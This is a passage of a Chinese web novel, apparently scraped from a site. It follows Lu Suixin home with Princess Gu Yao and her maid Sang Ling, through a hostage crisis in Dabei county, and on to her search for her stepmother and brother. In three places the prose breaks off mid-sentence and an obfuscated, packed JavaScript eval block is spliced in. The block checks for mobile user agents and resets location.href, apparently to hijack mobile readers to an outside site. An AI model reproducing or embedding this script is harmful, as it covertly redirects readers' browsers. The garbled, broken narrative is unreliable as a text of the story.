“桑凌,你是见着我扎马步了?我三岁的时候,你都还没生出来呢。” 桑凌退到一边,嘴翘起,带着点委屈,“是玉桑小姐同桑凌说的嘛。” 陆随心练了半个时辰,早就汗如雨下,拿起旁边的茶壶“咕咚咚”灌下去好几口,才缓过神来,满心好奇,“怎么你一个当公主的竟还要受这苦?” “我母妃……同其他人不太一样,她是武将之女,常说女子也是要安身立命的,男儿学的,我们也要学。” 陆随心眼睛一亮,一边又原地摆起了反擒拿的姿势,“你母妃听起来……可真是个奇女子。” “随心小姐。”桑凌一脸严肃地喊她,好像被她说出口的话吓到了。 “无妨。人都殁了,评论几句不碍事。”顾瑶走上前,点着她的胳膊替她纠正动作,“况且……随心这不是在夸我母妃嘛。” 桑凌自是不说话了,不过看着主子的神情多了点诧异,好像没见过这样的她。 没一会儿陆随心就觉得手酸,胳膊便要往下掉,汗水也涔涔外冒,“阿瑶,就我这样,想打过莫子翊或者阿柒,得花多长时间啊?” 这次轮到顾瑶忍俊不禁了,“那……可能得不少时间。” “多久?” “……十年?” 陆随心一下子泄了气,胳膊荡了下去,人也软了,“那我还是不练了罢……” 桑凌嘟着嘴,“这要是咱们德妃在世,随心小姐你就该跪石板了。”说罢才想起自己也被带着越界多嘴了,赶忙将身子收了回去,“公主,桑凌失言了。” 陆随心的视线悄悄在两人身上流转一番,脑子里无法遏制地跳出了年幼的顾瑶跪在云国王宫的石板上,膝盖破了皮,倔强的脸上就是不见一滴泪的样子。 顾瑶没说什么,只是伸手去把坐在地上的陆随心拉起来,“随心,那些会功夫的,都是练的苦活。莫子翊自小就跟着他外公在军营里操练,阿柒……怕是更不得了,你要打过他们当然是异想天开,可人嘛,总归都是有弱点的。” “哦?怎么说?”陆随心听出了她要传授“绝招”的意思,立马来了劲。 “你若真遇到危险,唯一要做的事情,就是想办法跑。不过,若真到了跑不了的地步,那就记得……”顾瑶伏过去,贴着她的耳朵悄悄说了几句话。 陆随心听着听着,那对眼睛从暗到亮,连连点头,很是受教。 “公主在说什么?跑不了的话该怎么办?桑凌也想听一听。”桑凌微张着嘴,一脸好奇地想要凑上去。 “小孩子莫乱打听。”顾瑶颀长的手指点在了桑凌的额头上,轻轻将她推了开去,“你跟在我身边,要学这些做什么?” 陆随心闻言一黯。 是了,要与她们分别的,仅她一人而已。 “吁——” 马夫停车的声响突然传来,打断了她的怅然。 车厢一阵剧烈的抖动,三人都不受控制地在那颠簸中摇晃起来,头上的珠花玉钗也胡乱转起圈。 陆随心把手伸开去,怎么也稳不住身子,最后还是顾瑶一手一个,将她和桑凌拉住。 “怎么了?出什么事了?” “禀王妃,奴才不知,就是前头的车突然都停下来了。” “公主,我去瞧瞧。”桑凌扶着脑袋,拉开了车门,见一整条车队都停了下来,一个熟悉的身影正向她们跑来,他一只手拎着衣袍下摆,一边还要跳着避开路边的小泥坑,样子格外好笑。 “富公公,前头发生什么事儿了呀?” 富林跑到马车旁边,气喘吁吁,“王爷让我来告诉王妃,前头那座桥年久失修,有些颤巍巍的,怕是经不住这一车队,所以得掉个头,换条路走。” 陆随心把脑袋探进窗里,抢了话,“换条路走?那得多长时间啊?” “引路的人说,得多出一天半的功夫。” 顾瑶也探出身子,“富林,这儿离民安村有多远?” 富林眨巴了两下眼,“王妃,您稍等,我这就去问问。” 说罢又将那衣摆兜起来抓在手里,一跳一跳地跑远了,没多久,又一跳一跳地跑了回来,这一回,不止是面上汗如雨下,连那背上都湿透了。 “回王妃……引、引路的人说,民安村、民安村就在前头了……”他遥遥指着被封路的方向,“出了、出了这座县城往南,再走个……走个十几里地就是了。” 顾瑶一听,便问身后人,“既如此,随心,要不要……” “要!”顾瑶没问完,陆随心已经振臂一呼,从俩人的缝隙里钻了出去,跳到了马车下头。脚一落地才发现自己竟对回家迫切到了如此地步,半刻前还莫名在那几分不舍里头的沉溺忽而都散去了。 陆随心回身作了个不正不经的揖,“相逢一场是缘分,阿瑶,实在是太感谢你啦!青山绿水,我们后会有期!” “诶,等等!”顾瑶喊住了准备转身离开的她,那笑轻柔如云,“哪有送人不送到家门口的道理?” 陆随心一怔,胸口一紧,一股热流淌过,“阿瑶,你是要……同我一道去吗?” “我自是要送你进家门的。”顾瑶也跳下了车。 那边歇息了一会儿终于平复了呼吸的富林已经抢先开口,“王妃,王爷说他在前头等您呢。” “等我?” “他说他先换 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16885480|190147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好行装,等你前去汇合……”富林被渴意拉住了嗓子,咽了咽口水才继续道,“他猜到你要下车走这条道啦。” 顾瑶张了张嘴,失了言,好像被泡进了一罐蜂蜜,粘稠腻人,拔不出身来,只能陷下去。 “你们王爷……也是个奇男子啊。” 这怕不就是男女间的小把戏? 想想顾瑶那日坐在房里心死的样子,又见她如今这耐人寻味的表情,陆随心算是明白了什么叫“情之一字,难以捉摸”。 她暗中揣摩,唯恐自己夹在中间做不了人,忙把桑凌也拉了下来,“那还等什么,走,桑菱,带你去见见我们边境小村的世面。” 几人各怀心思往前头走了一阵,果然见到一座破破烂烂的木桥,宽倒是挺宽,就是上头的木板断的断、空的空,裸露出下一层更加稀稀拉拉的桥桩,风一吹,就能听到“嗑啦嗑啦”的摇晃声,底下的滔滔河水看得一清二楚。 这别说是车马了,就连人走过去都得好好掂量掂量。 倒是莫楚瑛,穿着一身不那么显贵的青色绸布衫,头发都盘在顶上,用同色的布条包裹着,看上去真是寻常人家的打扮,他一脸从容地立在危桥的入口处,凭空生出了一点叫人神往的沉稳大气来。 “桑凌你怕不怕?咱俩一道走。”陆随心拉过桑凌的手,就往静王的另一边走去,二话不说一只脚踏上了最近的一块木板。 “哐——” 那板子立刻晃了一下。 桑凌本来不怕,被她突然拉到滚滚河岸边,听到碎浪死在礁石上的声响,立马腿软了,要往后撤,“随心小姐!慢!慢着点!慢着点!” 陆随心赶忙回头,见顾瑶的注意力全在静王身上,没听到桑凌的“嚎叫”,便做了个噤声的手势,“好桑凌,别叫。你要是怕,就把眼睛闭起来。” “随心小姐,我要是闭上了眼,岂不是什么也看不见了?”桑凌像吞了几斤黄连,额头皱皱巴巴,“那我就更加害怕了呀。” “不是还有我在呢吗?我牵着你过去。” 桑凌憋着嘴,回头用眼睛去找自家主子,却看到她站在了静王面前,俩人在那一时相对无言。 陆随心真恨不得把她打晕背着她走,无奈把她拉到一边,悄摸摸地劝,“桑凌,你知道王爷为啥要和我们一起去吗?” “为啥?” “你这丫头。你想想你自己的意中人,你想和他做些啥?是不是房里藏着他的画,有事没事就想和他讲讲话,最好有空还要到外头一起赏赏花?” 桑凌霎时羞赧地低下了脑袋,好一会儿,才以一种看不清的力道点了点头。 “现在要是你的意中人在这儿,你是不是也会希望是他牵着你的手走过这座桥?” 桑凌又轻轻点了点头,忽然又觉得不对,“可我们公主不需要人家牵着呀。” 陆随心胸口像被一头野驴狠狠撞了一记。 “随心,你们在那儿说什么呢?”顾瑶站在莫楚瑛身旁,喊道。 “啊,桑凌跟说她要打头阵!我正夸她厉害呢。”陆随心随口回了一句,又压低了声音制止了要反驳的桑凌,“你不跟我过桥,是想让王妃王爷哪位大人来牵你的手?还是你想留在车队跟富林公公一道走?” 桑凌一听这话,立刻闭上眼,把手伸了过去,“随心小姐!我……我跟你走。” “好,那你们走前头吧。”顾瑶站在不远处,就见桑凌盲人摸象似的,一手被陆随心攥着,一手扶着巍颤颤的栏杆,亦步亦趋地踩上了木板,不禁奇怪地喃喃,“她怕成这样,怎么还要打头阵……” 这时,一只大手伸到了她面前。 顾瑶听到莫楚瑛冷静里缠着一丝示弱的撒娇,“王妃,本王也有些怕。” 顾瑶愣了愣,手却已经不受控制地交了出去。 身后的富林还在呼哧带喘地揩拭着额上的汗水,远远看到自家王爷王妃那两只小手紧紧握到了一处,长长地舒了一口气。 他从怀里扯出一张银票,递给了旁边的引路人,“有劳了。” 27. 第 27 章 胆战心惊地跨过破桥,往前再行数百步,见到街头景致,喧闹人群,尤其是那个坐着剪窗花的小摊主,陆随心才恍然意识到,这正是她熟悉的大北县! 她回家了! 这里是她斥重金买入醉翁椅的地方,也是早先她和李芸娘浣衣挣钱、摆摊卖字之所,更是她借读话本小说之地。 她曾风里来雨里去,不知多少次自民安村跋涉十几里地来此——只是此前都自另一个方向而来,她便从未见过那座危桥。 陆随心一下成了米缸里的老鼠,兴冲冲扯着桑凌的手往那从未光顾过的窗花小摊去,“桑菱,快看,快看!” 摊主手里的一把剪刀灵巧地上下翻飞,那张红纸也像生了翅膀,在锋利的刃下左右腾挪,被雕刻出形状。 剪窗花大约只是摊主的小小喜好,他身前摆着一些木勺木碗,还有一个个奇形怪状的木头玩意儿。 “啊,这是八卦锁!”桑凌眉梢上扬,“我们公……我们家小姐玩得可好了。” “哟,两位姑娘,看看我这新做的小玩意儿,带两个走?”摊主从一个小木凳上起身,站到半人高的小推车前,将剪刀红纸随手弃到一旁,脸上堆笑,热情地打起招呼。 陆随心看到那些东西,却霎时失了喜色,眼珠子转到别处,就想拉桑凌走,可没想到这丫头用手抄起一个,眉飞色舞地招呼着身后人,“小姐少爷快来!这儿有好多好玩的。” 比起她在木桥上两腿打颤的模样,真可谓判若两人。 现下是出了笼子的小喜鹊,叽叽喳喳得紧。 陆随心顺着她的目光,也看了眼远远走在后头的顾瑶和莫楚瑛,这俩人肩并肩,因为步调相错,两条胳膊便时不时轻撞在一块,比起上桥之前,距离自是近了不少,那不说话又赧着颜的样子,看起来不像多年夫妇,倒像是花灯会上初初幽会的痴男怨女。 想起方才那场景,陆随心忍不住又想啧啧称奇。 沉稳的静王爷三番五次把脚踩进木板间豁开的洞里,好像生怕没借口紧紧攥住自己妻子的手,次数之多,都想让陆随心喊他上医馆看看了,那可是桑凌抖着腿都一点没失误就走完了的桥,静王爷这表现,岂不像什么大病在身。 可偏偏静王妃不觉得,一口一句“当心脚下”,牵着自家夫君,好不耐心,哪还有半点吵架漠然的样子。 陆随心打断桑菱,“别扰了他们,你跟着我玩便是。” 又把目光转到另一边,看到远处有一群人围在那儿,熙熙攘攘好不热闹,便问摊主,“那儿在作甚?” “王城里来的,正招人呢!要年轻力壮的男丁!不知是要修王陵还是建什么新宫殿来着。”摊主遥遥看了一眼,嘴里酸溜溜的,“月俸给的可高了,唉,要不是家里老母瘫痪在床,我怎么也要去报个名挣一笔,这去个几年,回来可什么都有了。” 桑凌听到“老母瘫痪”四个字,眼中盈盈一闪,看也没看,手就伸出去拿了眼前两样东西,“这些,我、我要了。” 看着眼前脸颊凹陷又满头夹着花白的摊主,陆随心有些哭笑不得地望向桑凌,却见她从身上摸索了一会儿,立马转着眼珠子露了怯,“我……没带银两。” “那不买就是了。”陆随心把她手里的东西抓起来,放回了那小推车上。 摊主努了努嘴,一番犹豫还是装作不在意地挥了挥手,“没事没事,下次再来。” 桑凌皱着眉满脸遗憾。 摊主也冷了下去,眼珠往旁边一飘,就一声不吭地准备坐回他的小板凳,可街道深处突然响起的一阵异动打断了街上所有人的动作。 先是人群窸窸窣窣的碎语和咒骂声。 再是愈加清晰的推搡声和双脚重重落地的疾跑声。 最后是交错在一起的盔甲摩擦之音、洪亮的高吼和越来越震耳的疯言疯语——“别跑!站住!”“长庆王乱杀人啦!长庆王乱杀人啦!”“你给我站住!” 街上一阵鸡飞狗跳。 远处报名去做劳工的桌案被掀翻,周围一圈男丁们也在茫然无措中被冲散开去,一个披头乱发穿着脏污囚衣的男人双手被绑缚在一处,正癫狂地拨开所有阻碍,像一个铁榔头似的砸了出来。 没有人看懂眼前发生了什么。 大家都瞪着眼,愣着神,干巴巴直盯盯地看着他冲过了半条街,直至路过剪窗花的摊主那儿时,他却不再继续往前,而是出乎意料地猛然停下了脚步。 陆随心是第一个反应过来的,可当她想要去拽桑凌的衣袖时,已经来不及了。 一切都发生得太快。 “啊——” 囚衣男把桑凌的头套进了自己双手之间,扯到了胸前,紧紧扼住了她的脖子。 陆随心傻了眼。 那日学功夫时顾瑶对桑凌说的话就这么闯进了陆随心的脑子——“你跟在我身边,要学这些做什么?” 她仿佛听到了一声哼唧唧阴森森的嘲弄,不像是人间的音,该是从天上来的。 旁边的摊主吓得从凳子上滚落在地,没一会儿指着那人颤抖着音骂了起来,“你……你抓一个姑娘家作甚?大老爷们羞不羞!快把人放了!” 囚衣□□本不理他,一双眼通红,拖着桑凌往一边没人的巷子口去,背刚贴上一旁房子的砖墙,追兵们就从正面把他团团围住了。 几个兵卒挥着手,把围观人都驱散开去,“离远点!都离远点!这人有失心疯,别伤着你们!” 陆随心也被推出去好远,刚站定就听到顾瑶二人疾步从自己背后赶来,喊出口的声音已完全失了平日里的冷静,“桑凌!” “呜——”桑凌被紧紧压在那人胸前,恐惧到发不出声音,一张小脸煞白煞白。 “于四光!你已是阶下囚!可别执迷不悟!赶紧放人!你途中假借出恭私自窜逃一事便可既往不咎!”追兵头领高喊道。 “执迷不悟?哈哈哈!老子还有什么可怕的?你们都别过来!别过来!再过来我就断了她的脖子!”他睁着那双浑浊的眼,里头红得像是刚倒了血进去,仰头大笑时露出一嘴黑黄的牙,癫狂的样子确实和失了心无异。 “你现在不过是二十年劳役,若伤了人,就是死刑了!” “劳役?”于四光往地上狠狠啐了一口,“林大人死后,我们这帮人就被那顾衡之下牢的下牢流放的流放!他妈的说是要把老子送去北边的苦地服役,可老子到底犯什么罪了?犯什么罪了?啊?我呸!就是想让老子死!老子反正孤家寡人一个,今天就算下地狱,也非拉个垫背的不可!” 顾瑶在旁听了一会,在那穷途末路的疯狂里嗅到了随时失控的危险,皱着眉就要站上前去,却被旁边的莫楚瑛拉住了,“不可,我们没带护卫。” 这一拉便让顾瑶生了怒意,“我要救桑凌。” “这里这么多人,何必一定要你去救?” 这话问得顾瑶没了声音,她张了张嘴,眼也忘了眨,好像不认识眼前的人。 追兵头领对此一概不知,只在那儿继续劝着,可眉心的不耐烦已经出卖了他,说话愈发急促、焦躁,“于四光,你犯了什么罪,那都是堂上审过的。何必在此装傻?都说你失心疯,看来传言不假。竟在此对王不敬!” “王?什么王?若不是林大人,他当得了这个云国的王?” 这话一出,被挡在外边的三两人群一片哗然,追兵们也都变了脸色,那头领更是脸一暗,就招呼旁边的人上前,对着于四光道,“你言辱君上,按律当死!即刻行刑!” 那些追兵乖乖听命,举着长矛把那尖锐的头指向了于四光的方向,慢慢向他围紧,根本不管还被按在他怀里的桑凌,那架势,似乎就是要连着桑凌一同戳穿了。 最外围的一个追兵刚要跟上众人,就见眼前人影一闪,不知谁翻到了自己面前,长袖在空中一拂,自己的长矛就脱了手。 这人一夫当关,抢去的长矛刺入长空,横在了一干追兵面前,“全都住手!” “你……你又是哪来的?于四光的帮凶吗?”头领看清是个女子,震惊怒言。 顾瑶手执长矛,警戒地看着眼前的兵卒,话却是对背后的于四光说的,“于四光?我放你走,只要你把人还回来!” 于四光见到此景,脸色一变,眉间的疯意褪去,他舔了舔干涸的唇,将手收紧,直到桑凌发出痛苦的呻吟才作罢,那声音也一下变得冷静,“好!好!成交!你拦住他们!叫他们别来追我!等我跑到安全的地方,自会放她平安!” 他拖抱着桑凌一边回头看路,一边慢慢退着进那漆黑无人的小巷里去了。 顾瑶微微侧头,刀一样的光从她眼里刮过,“你听到他说的了?” 头领皱了皱眉,并不理会,“上!” 那些士兵面面相觑了一下,似是对围攻一个女子的命令感到犹疑,但有一个率先上阵,其他人便都慢着步子跟上了。 “阿瑶!” “诶,我的剪刀哪儿去了?” 莫楚瑛凄厉的呼喊和摊主疑惑的声响交叠在了一块儿。 顾瑶挥着长矛和那些兵卒斗到了一处,围观的人远远见那矛挥起来,凌厉的破空之声唰唰地削在耳朵边上,头皮发麻,霎时都跑得更远了。 只有摊主一时来不及推车逃跑,缩到了自己的小货车下边,把脑袋紧紧捂了起来。 顾瑶的动作凌厉到位,那些兵卒的矛刺来,她总能轻巧地挑开或避走,像燕子一样在刃光里腾挪穿梭。 可双拳难敌四手,她一个人功夫再好,时间长了,终究手忙脚乱起来,渐渐落入下风。 莫楚瑛从腰间解下了随身玉佩,高举着往那头领走去,却被后边冲上来支援的几个兵卒撞倒在地,手磨破了皮,发髻歪了,玉佩不知滚去了哪儿,连带着那句“我乃定国’出云使’”也摔了个支离破碎。 堂堂定国亲王,被折去了所有尊严与颜面,仰面朝天地半躺在地上。 可他满脑子只有一个念头,那就是怕——他怕万一那些长矛刺中了阿瑶该怎么办?——随之而起的则是一个更深的也让他为之发颤的想法——若是阿瑶就此死了呢? 莫楚瑛撑着那粗糙的路面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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方才被他阻拦的怒意还在心中冲撞,顾瑶本想再甩开他一次,可见他这样子,胸口一堵,喉咙瞬时哑住了,只喊出两个沙沙的字,“王爷……” 她几时见过这样的他? 他从来都是什么都不想要什么都不在乎的样子,脸上哪个时候竟露出过这样惨烈的表情? 从未。 可那又如何?他连桑凌的命都能那般蔑视…… 莫楚瑛对顾瑶矛盾的心思毫无所觉,一只手颤巍巍地伸了上来,“阿瑶……你……你这里伤着了。” 他想要摸一摸顾瑶脸上的伤口,却在咫尺距离停下,好像眼前的人是放在热锅上的冰,一碰就没了。 “王爷放心,小伤而已,不疼。”顾瑶撇开脸,躲得稍远了一些。 莫楚瑛眼中一黯。 一旁的陆随心见这两人之间似有千头万绪,把桑凌从顾瑶怀里拉了过来,往后退了几步,看她确实安然无恙,抱着她又轻又柔地抚着,眼却定定落在不远处的滴滴血迹,喃喃,“桑凌乖,桑凌别怕,我们没事了,我们都没事了。” 身后巷子很快又传来走动声,首领带着部下回来,指着他们一声大喝,“你们几个!” 陆随心转过头去,主动问,“我没说错,是死了吧?” 当初见到王通的脑袋还吓了个半死的她,如今竟对尸体有些见怪不怪了起来。 “你好好说说,到底发生了什么?”首领没理,只管诘问。 陆随心踢了踢被她扔在一边的剪刀,“我方才看他是背对着往巷子里走的,就打算从后面绕过去,趁其不备用这个威胁他放人,没想到刚跑到那儿,就看见人已经倒地死了,我就赶紧把桑凌救了出来……但是我没见着其他人。” 说罢想起剪刀该物归原主,便往街道上偷偷瞄了眼,发现那推车早没了踪影。 一抬头,又见首领还半信半疑地看着自己,指着巷子,急道,“你去验验伤就知道啊,他是怎么死的?肯定不是剪刀吧,我这上头一点血迹没有。” “……是从后头直接捏碎了脖颈,量你们谁也没这力道。”首领一撇嘴,大手顺势一挥,“来啊,把他们都抓起来。” “放肆!” 首领被这两个字一惊,“怎么,还真当自己是公主了?你们胆敢妨碍公事,还想就这么全身而退?” “你……你有眼无珠!”桑凌从陆随心怀里探出头来,一张脸涨得通红,忿忿不平地吼,“这位是安平公主!她旁边这位,是定国’出云使’!到底是谁在妨碍公事?” 首领的脸好像碎了。 陆随心见桑凌声音洪亮,偷偷在一旁笑了,可她的笑也碎在了半途,整个人猛地肃然立正,如坐针毡,后脖颈好像有虫爬在上头,绵密地刺过她的肌肤,又疼又恶心。 上一回在静王府的庭院里,也是这般,随后她就碰上了那个疯子莫子翊,这一回…… “随心小姐,你怎么了?” 陆随心往身后看去,不远处的街角那儿,一块黑色的衣角阒然隐没,速度太快,她以为自己眼花了,揉了揉眼睛,果然什么也没有了,她有些不安地摇了摇头,“没……没什么。” 28. 第 28 章 陆随心在民安村的村口和顾瑶一行人分了别。 本来要走半天的路程,因为“出云使”三个字吓到了那位带队追人的首领,尤其是莫楚瑛落在地上的玉佩被找回来递到他面前之后,加上身份证明的文牒,看得首领整个人白一阵青一阵,一句话也说不出,跪下来就是几个头磕得砰砰响,没对着莫楚瑛,而是向顾瑶谢罪,“属下有眼无珠,冒犯了安平公主!属下该死!” 那架势,恨不得从自己身上剜两块肉下来给安平公主赔不是。 倒是让陆随心捡了个便宜,坐上了首领临时弄来的一辆小马车,晃颠颠地就摇到了村口。 “阿瑶,就到这里吧,再往里头车子不好走。”陆随心一边说着,一边还和恰好背着柴火归来的村里邻居张叔打了招呼。 顾瑶自方才那一出见血的意外后,满脸心事重重,见陆随心又确实对此处熟稔,也没再坚持,只从怀里掏出一样东西塞给了她。 陆随心一看,是那颗剔透圆润的碧玉珠子。 “要不是你当日接着,这珠子早就碎了,你收下它,算个留念,也不枉我们相识一场,若将来有机会重逢……”那珠子的绿光映得顾瑶双眼盈盈,“若能再见,定要一道再喝一杯。” 陆随心一哽,没有推辞,像当初接那枚玉佩一样,又一次郑重地把那颗珠子接了过来,“……好。阿瑶,后会有期了。” 其实她们都知道,此次分别,多半人生再无相逢之日。 她们一个是乡下小村的平民女子,一个是皇城高墙里的显赫贵人,本就是连相识都没机会的。 有些人注定了只是彼此生命里的匆匆过客。 偶遇,分别,永不再见。 陆随心看着顾瑶回了马车上,桑菱在她身后哭丧着脸向自己摇手,车门合上,马夫的鞭子一起一落,马儿便乖乖地掉了头,带着这几个月的回忆踢踢踏踏头也不回地离开了。 她心中忧伤,双眼泛酸,身子沉,动不了,只好站在原地看,看马车由大变小,又响及轻,直至成了一个小黑点再看不清听不见了,才幽幽叹了一口气,忧愁之心在想到家里那张醉翁椅、想到马上能做回躺在后院里晒梅菜看话本的陆随心时淡了几分,转身刚要抬腿,被眼前一张黝黑龟裂的脸吓了一跳,“张……张叔,你还在呢?” 一直盯着她的张叔松了松肩上背篓的带子,似乎这才确认她的身份,“随心啊,你这是去哪儿了啊,怎么才回来啊,大家还以为你……” “哦,我……有事出去远游了一趟。啥事儿没有,你看我这不是胳膊腿的都在呢吗。” “哎哟,作孽哟。”张叔挥着那只骨节粗大的黑手,好像对她的完好无事感到遗憾,“你家芸娘和你那弟弟……” 心一下子跳到了嗓子眼,“他们怎么了?” “走了呀!都去县里了!” “走了?”她脑子一片空白,手指着自己来的方向,“大北县?” “可不是!都去了好久咯!李芸娘带着你弟弟又找了个人家……诶,诶,你怎么还往村里跑啊?啊?” 陆随心早听不见张叔的声音了,只恨自己的腿太短,跑起来太慢,深一脚浅一脚地踩在那坑坑洼洼的泥地里,怎么都回不到自己的家。 李芸娘和陆少疾怎么会走了? 她才离开三个月,他们就不管她了? 才三个月,她的家……就散了? 她脑中一片混乱,心也七上八下地跳着,有种喘不上气的窒息感,好像那脖颈又被人给狠狠扼住了,根本不知道是怎么回到的那座小屋前。 陆随心摸着那扇和回忆里一模一样的破木门,上头挂着的艾草依旧干巴巴在小风里转着,陆少疾瞎刻的图案也没有被磨平,所有的一切都和她走之前没两样。 那一刻,她确信定是张叔骗了自己。 “陆少疾!李芸娘!快看看是谁回来了!”陆随心特意整了整衣襟,又扬高了声音,才推门走了进去。 无人回应。 那庭院照样荒寂,可地上的杂草却像被抽了身,疯长了几寸高。 陆随心的步子瞬间一沉,在那一片铺满了的黄绿中踩出了一条新的道,进了里屋。 桌子椅子俱全,醉翁椅还在原位,连茶壶也在,若不是上头蒙的灰那般显眼,陆随心几乎就要喜极而泣了。 等她走进寝房,打开箱柜,看到那里果真空空如也,李芸娘和陆少疾的衣物全不见了时,她终于熬不住了,脑子一片空白,把每一个柜子的门都拉开了。 没了,全没了。 只有她的衣物被留在了原处。 ——“李芸娘带着你弟弟又找了个人家。” 陆随心胸口跟着空了一块。 好像十二年前的那一幕又上演了。 她又成了没家的孤儿。 ——“李芸娘带着你弟弟又找了个人家。” 她赶在泪水糊了眼之前夺门而出。 “哎哟,随心啊,我就跟你说人不在了吧。” “啊……”和张叔擦肩而过的陆随心草草回了一声,便又往村口跑去。 “诶,你这是又要去哪儿呀?” “我去大北县找他们!” 十几里的路,坐马车到底是容易得多,可比起那次走去原城,陆随心的双腿没有肿胀,脚底板也没有生疼,而是浑身麻木,身上的热汗混着冷意,湿透了衣服。 她急着要在天黑前找到人,一刻也不敢停歇,甚至在大北县街口和一个浑身黑衣的人错身而过时,也只是回头匆匆瞥了一眼。 有那么一瞬间,她以为那人是阿柒。 可那背影,显然不一样,具体哪儿不一样,她倒是说不清。 这歪走的心思不过占据了她片刻心神,随后陆随心便开始在街道巷子里一圈又一圈地兜着。 她走得太急,忘了多问一声张叔李芸娘找了个什么人家,不知从何找起,只好盲目地盼着在哪个转角就能看到那两人。 大北县此时竟已恢复了寻常的一日光景,正在黄昏时刻留下最后的喧闹。 于四光的尸体早就不见了,他死去的巷子口已是干干净净,什么痕迹都没留下来。 招工的摊子又摆了出来,连那位剪窗花的摊主也重新做起了生意。 闹剧收了场,恍惚间好像一切都没发生,只有平静的生活在继续。 “诶,你不是刚刚那个……”摊主没了剪刀,整个人百无聊赖地坐在小板凳上,一眼就认出了她,“另外那位小姐,没伤着吧?” “嗯,有惊无险。” “碰上个失心疯可真是晦气,我还莫名其妙丢了把剪刀。” 陆随心抿了抿嘴,一双眼飘忽起来。 她没敢说剪刀是被自己拿走的,方才离开之前往哪儿随手一放,想必此刻已是别人家的东西了。 “哦,对了,大哥,我想向您打听个事儿。”陆随心掩饰般问。 “你说,大北县的事我要不知道,那估计就没人晓得了。” “你知不知道最近从民安村搬到这儿来的一对母子?女的大约三十来岁,小孩十一二的样子。” “哦,那个啊。”摊主翕了翕鼻子,一下子兴致低了下去,“镇上的员外说是最近新讨了房妾室,是个带着拖油瓶的,怎么?你认识?” “妾室?员外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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陆随心怕他们回头,还跟在后面大叫着追了几步,到真的影都看不见了,才停了步子,想着转身去把陆少疾拎起来,结果什么东西猛地撞到了自己腰间,差一点稳不住就要摔到地上。 下一瞬,她听到振聋发聩的嚎哭。 “阿姊——!阿姊!你还活着!你还活着!你可算回来了!” 除去小时候他蹒跚学步前,陆随心勉强抱过他那么两回,此外,大概再没有这样亲密接触过了,可下意识要推开他的手还是放了下来,改成在他肩上轻轻拍了拍,“差不多得了,别把鼻涕涎水蹭我身上。” “阿姊!”陆少疾仰起头,满脸都是泪痕,“我还以为……我还以为你死了。” “本来没事,但差点被你气死!人家欺负你,你为什么不反抗?” “我……” 陆随心想到自己被扼住脖子、掐住肩膀时无法动弹的样子,突然一下子没那么气了,“以后见到这种人就立马躲远点,知道不?” 陆少疾一把鼻涕一把眼泪地点着头,“阿姊,你这几个月去哪儿了?把我和娘都快急死了……” 一听李芸娘,怒意又起,“你娘在哪儿呢?快带我去见她!” 陆少疾的哭音被生生掐断在了陆随心的暴怒声中,他缩了缩脖子,往巷子口一指,“这……这边走。” “等等。”她猛然想起一事,抓住他,“那天晚上,我不是往你怀里塞了一张纸,那纸现在哪儿呢?” “我……我给娘了。” 29. 随心(一) 陆随心跟在陆少疾身后,看着弟弟雀跃的步伐,那点刚团聚的欣喜反落了下去。 她还没想好等会见到李芸娘该摆出何种姿态,是要骂她对自己“始乱终弃忘恩负义”,还是索性“大人大量不计前嫌”,叫她收拾了东西趁天没黑赶紧回家。 可当青砖白墙的大房子落到面前,两尊气势恢宏的石雕麒麟撞入她眼,又听衣饰得体的仆人对着自己弟弟恭恭敬敬地叫了一声“少爷”时,陆随心一下慌了神没了底——这不就是李芸娘真正想过的日子吗?她果然是为了这些才抛下了自己?她还会想回去吗? “你去吧。”陆少疾有些不耐烦地挥走了那位仆从,姿态娴熟,看得陆随心又是一怔,仿佛他早是这府上真真正正的少爷了。 “阿姊,你愣着作甚,快随我走呀。”陆少疾不疑有他,带着她轻车熟路走到一间屋子前,刚推开门缝喊了一声“娘”,就被陆随心拍了拍肩膀,“我一个人进去,你自去玩吧。” 陆少疾眨巴了两下眼,拽住了她的袖子,生怕她又不见了似的,“阿姊,你一个人……没关系的吧?” 陆随心被这小魔王三番五次的柔言细语吓得不轻,把他手打了下去,“我是去见你娘又不是见什么三头六臂的怪物,你快去!” 见他一步三回头地去了,陆随心才转回身,望着那门,竟不敢去推,弯身悄悄从缝里看了一眼,李芸娘正背对着坐在梳妆镜前,铜面里映着盈盈瑶瑶的钗子簪花,正中是一张舒然宁静的笑脸。 “啪——啪——”陆随心喉咙发苦,愤愤地猛拍了两下门。 “少疾回来了……啊!”李芸娘听到声响回头,却在看清楚来人后吓得一声惊叫,眼珠子似要从眼眶里跳脱出来。 陆随心见她穿金戴银,摇身一变真成了贵妇人,瞧不出一点原本模样,又见她满目惊色,早以为是“复活归来”的自己成了她富贵路的绊脚石,忍不住讥道,“怎么,是我打扰到员外夫人梳妆了?” 李芸娘却几乎是朝她扑了过去,心神诧异以至于根本没听清她说了什么,只一把抓住她的手,“盼儿,你……你果真还活着呀!可太好了!” 